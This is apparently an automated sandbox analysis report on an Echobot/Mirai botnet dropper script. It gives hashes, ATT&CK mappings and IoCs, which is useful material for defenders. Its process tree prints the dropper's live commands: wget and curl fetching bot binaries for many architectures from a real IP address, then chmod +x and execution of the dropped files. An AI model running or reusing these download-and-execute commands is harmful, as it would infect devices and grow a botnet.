echobot | 1100eaedb376144012b559268f7ee73e8bfe32e9fc79072c193d1560fbbe34dd

Analysis

max time kernel
148s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
22-11-2024 18:59

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General

Target

8UsA.sh
Size

1KB
MD5

513641f5f60d55559c2060489de6d605
SHA1

c95feec2255732b60d434b0639b88a5cff205ea0
SHA256

1100eaedb376144012b559268f7ee73e8bfe32e9fc79072c193d1560fbbe34dd
SHA512

71ee20fe10e58b1d9a0e0e5268ba264e35e15e3a5190cfdf5950245579fbbdabd9aef7dc11e9398e0df8add1afb1400a0134911b6ebb9deb937b578fc52775e0

Score

10^/10

echobot mirai botnet defense_evasion discovery trojan

Malware Config

Signatures

Detected Echobot 1 IoCs

Processes:

resource	yara_rule
/tmp/UnHAnaAW.x86	family_echobot

Echobot
An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.
botnet trojan echobot
Echobot family
echobot
Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (168126) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 10 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid process

1495 chmod
1509 chmod
1567 chmod
1581 chmod
1595 chmod
1523 chmod
1537 chmod
1551 chmod
1609 chmod
1623 chmod

pid	process
1495	chmod
1509	chmod
1567	chmod
1581	chmod
1595	chmod
1523	chmod
1537	chmod
1551	chmod
1609	chmod
1623	chmod

Executes dropped EXE 10 IoCs

Processes:

3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA

ioc	pid	process
/tmp/3AvA	1496	3AvA
/tmp/3AvA	1510	3AvA
/tmp/3AvA	1524	3AvA
/tmp/3AvA	1538	3AvA
/tmp/3AvA	1552	3AvA
/tmp/3AvA	1568	3AvA
/tmp/3AvA	1582	3AvA
/tmp/3AvA	1596	3AvA
/tmp/3AvA	1610	3AvA
/tmp/3AvA	1624	3AvA

Modifies Watchdog functionality 1 TTPs 20 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

Processes:

3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA

description	ioc	process
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA

Enumerates active TCP sockets 1 TTPs 10 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

Processes:

3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA

description	ioc	process
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 10 IoCs

Processes:

3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA

description	pid	process
Changes the process name, possibly in an attempt to hide itself	1496	3AvA
Changes the process name, possibly in an attempt to hide itself	1510	3AvA
Changes the process name, possibly in an attempt to hide itself	1524	3AvA
Changes the process name, possibly in an attempt to hide itself	1538	3AvA
Changes the process name, possibly in an attempt to hide itself	1552	3AvA
Changes the process name, possibly in an attempt to hide itself	1568	3AvA
Changes the process name, possibly in an attempt to hide itself	1582	3AvA
Changes the process name, possibly in an attempt to hide itself	1596	3AvA
Changes the process name, possibly in an attempt to hide itself	1610	3AvA
Changes the process name, possibly in an attempt to hide itself	1624	3AvA

Reads system network configuration 1 TTPs 10 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

Processes:

3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA

description	ioc	process
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA3AvA

description	ioc	process
File opened for reading	/proc/1026/fd	3AvA
File opened for reading	/proc/1138/fd	3AvA
File opened for reading	/proc/1181/fd	3AvA
File opened for reading	/proc/1053/fd	3AvA
File opened for reading	/proc/1279/fd	3AvA
File opened for reading	/proc/745/fd	3AvA
File opened for reading	/proc/431/fd	3AvA
File opened for reading	/proc/644/fd	3AvA
File opened for reading	/proc/949/fd	3AvA
File opened for reading	/proc/1181/fd	3AvA
File opened for reading	/proc/1045/fd	3AvA
File opened for reading	/proc/1459/fd	3AvA
File opened for reading	/proc/692/fd	3AvA
File opened for reading	/proc/1026/fd	3AvA
File opened for reading	/proc/1155/fd	3AvA
File opened for reading	/proc/320/fd	3AvA
File opened for reading	/proc/950/fd	3AvA
File opened for reading	/proc/466/fd	3AvA
File opened for reading	/proc/1122/fd	3AvA
File opened for reading	/proc/1298/fd	3AvA
File opened for reading	/proc/1092/fd	3AvA
File opened for reading	/proc/1309/fd	3AvA
File opened for reading	/proc/566/fd	3AvA
File opened for reading	/proc/1293/fd	3AvA
File opened for reading	/proc/647/fd	3AvA
File opened for reading	/proc/1151/fd	3AvA
File opened for reading	/proc/597/fd	3AvA
File opened for reading	/proc/1127/fd	3AvA
File opened for reading	/proc/674/fd	3AvA
File opened for reading	/proc/1106/fd	3AvA
File opened for reading	/proc/1173/fd	3AvA
File opened for reading	/proc/1178/fd	3AvA
File opened for reading	/proc/1152/fd	3AvA
File opened for reading	/proc/405/exe	3AvA
File opened for reading	/proc/1055/fd	3AvA
File opened for reading	/proc/1/fd	3AvA
File opened for reading	/proc/1007/fd	3AvA
File opened for reading	/proc/1480/fd	3AvA
File opened for reading	/proc/1007/fd	3AvA
File opened for reading	/proc/1092/fd	3AvA
File opened for reading	/proc/1362/fd	3AvA
File opened for reading	/proc/1309/fd	3AvA
File opened for reading	/proc/1073/fd	3AvA
File opened for reading	/proc/1279/fd	3AvA
File opened for reading	/proc/1160/fd	3AvA
File opened for reading	/proc/1102/fd	3AvA
File opened for reading	/proc/745/fd	3AvA
File opened for reading	/proc/596/fd	3AvA
File opened for reading	/proc/513/fd	3AvA
File opened for reading	/proc/1279/fd	3AvA
File opened for reading	/proc/745/fd	3AvA
File opened for reading	/proc/1082/fd	3AvA
File opened for reading	/proc/485/fd	3AvA
File opened for reading	/proc/644/fd	3AvA
File opened for reading	/proc/532/fd	3AvA
File opened for reading	/proc/1511/fd	3AvA
File opened for reading	/proc/1178/fd	3AvA
File opened for reading	/proc/1160/fd	3AvA
File opened for reading	/proc/547/fd	3AvA
File opened for reading	/proc/1218/fd	3AvA
File opened for reading	/proc/1082/fd	3AvA
File opened for reading	/proc/316/fd	3AvA
File opened for reading	/proc/480/fd	3AvA
File opened for reading	/proc/1055/fd	3AvA

System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

curl3AvAwget

pid process

1507 curl
1510 3AvA
1500 wget

pid	process
1507	curl
1510	3AvA
1500	wget

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlwgetwgetcurlcurlcurl8UsA.shwgetcurlwgetwgetwgetcurlwgetwgetcurlcurlcurlwgetcurl

description	ioc	process
File opened for modification	/tmp/UnHAnaAW.arm4	curl
File opened for modification	/tmp/UnHAnaAW.arm5	wget
File opened for modification	/tmp/UnHAnaAW.arm7	wget
File opened for modification	/tmp/UnHAnaAW.arm7	curl
File opened for modification	/tmp/UnHAnaAW.ppc	curl
File opened for modification	/tmp/UnHAnaAW.sh4	curl
File opened for modification	/tmp/3AvA	8UsA.sh
File opened for modification	/tmp/UnHAnaAW.mips	wget
File opened for modification	/tmp/UnHAnaAW.mips	curl
File opened for modification	/tmp/UnHAnaAW.mpsl	wget
File opened for modification	/tmp/UnHAnaAW.arm6	wget
File opened for modification	/tmp/UnHAnaAW.ppc	wget
File opened for modification	/tmp/UnHAnaAW.arm5	curl
File opened for modification	/tmp/UnHAnaAW.sh4	wget
File opened for modification	/tmp/UnHAnaAW.x86	wget
File opened for modification	/tmp/UnHAnaAW.x86	curl
File opened for modification	/tmp/UnHAnaAW.mpsl	curl
File opened for modification	/tmp/UnHAnaAW.arm6	curl
File opened for modification	/tmp/UnHAnaAW.m68k	wget
File opened for modification	/tmp/UnHAnaAW.m68k	curl

/tmp/8UsA.sh
/tmp/8UsA.sh
1⤵
- Writes file to tmp directory
PID:1480
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.x86
  2⤵
  - Writes file to tmp directory
  PID:1481
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.x86
  2⤵
  - Writes file to tmp directory
  PID:1493
- /bin/cat
  cat UnHAnaAW.x86
  2⤵
  PID:1494
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm systemd-private-4e3527339a82488191359476ca1c9750-systemd-timedated.service-Kw6x3Y UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1495
- /tmp/3AvA
  ./3AvA x86
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1496
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1507
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm systemd-private-4e3527339a82488191359476ca1c9750-systemd-timedated.service-Kw6x3Y UnHAnaAW.mips UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/3AvA
  ./3AvA mips
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1510
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm systemd-private-4e3527339a82488191359476ca1c9750-systemd-timedated.service-Kw6x3Y UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/3AvA
  ./3AvA mpsl
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1524
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.arm4
  2⤵
  PID:1528
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.arm4
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm systemd-private-4e3527339a82488191359476ca1c9750-systemd-timedated.service-Kw6x3Y UnHAnaAW.arm4 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/3AvA
  ./3AvA arm4
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1538
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.arm5
  2⤵
  - Writes file to tmp directory
  PID:1542
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.arm5
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm systemd-private-4e3527339a82488191359476ca1c9750-systemd-timedated.service-Kw6x3Y UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /tmp/3AvA
  ./3AvA arm5
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1552
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.arm6
  2⤵
  - Writes file to tmp directory
  PID:1556
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.arm6
  2⤵
  - Writes file to tmp directory
  PID:1563
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/3AvA
  ./3AvA arm6
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1568
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.arm7
  2⤵
  - Writes file to tmp directory
  PID:1572
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.arm7
  2⤵
  - Writes file to tmp directory
  PID:1579
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/3AvA
  ./3AvA arm7
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1582
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.ppc
  2⤵
  - Writes file to tmp directory
  PID:1586
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.ppc
  2⤵
  - Writes file to tmp directory
  PID:1593
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.ppc UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/3AvA
  ./3AvA ppc
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1596
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.m68k
  2⤵
  - Writes file to tmp directory
  PID:1600
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.m68k
  2⤵
  - Writes file to tmp directory
  PID:1607
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.m68k UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.ppc UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1609
- /tmp/3AvA
  ./3AvA m68k
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1610
- /usr/bin/wget
  wget http://89.22.230.162/bins/UnHAnaAW.sh4
  2⤵
  - Writes file to tmp directory
  PID:1614
- /usr/bin/curl
  curl -O http://89.22.230.162/bins/UnHAnaAW.sh4
  2⤵
  - Writes file to tmp directory
  PID:1621
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-vjIuEe netplan_6j5vv7s9 snap-private-tmp ssh-dtowVm2DO5to systemd-private-4e3527339a82488191359476ca1c9750-bolt.service-gJSU3s systemd-private-4e3527339a82488191359476ca1c9750-colord.service-wCRmQN systemd-private-4e3527339a82488191359476ca1c9750-ModemManager.service-kUHQ4i systemd-private-4e3527339a82488191359476ca1c9750-systemd-resolved.service-6Kmxdm UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.m68k UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.ppc UnHAnaAW.sh4 UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1623
- /tmp/3AvA
  ./3AvA sh4
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/UnHAnaAW.x86

Filesize
69KB

MD5
4a5306ed50853b2ce31d13763bde2cd3

SHA1
12a84067a5b8ff314e005365faadd34d47ce0619

SHA256
81d46cb68a82a4f80f26f017a9e988acd67811fb5b461df2546a23ccc5f6a05d

SHA512
b9732bdbe82f34591e5e21b45f80fa7f465932aa6a6f07fd3389a866b0a94b39bd59d4f298fdd896e9b9a601bd4d72494338b1a5817d558ba3b6d2ed1d43e081

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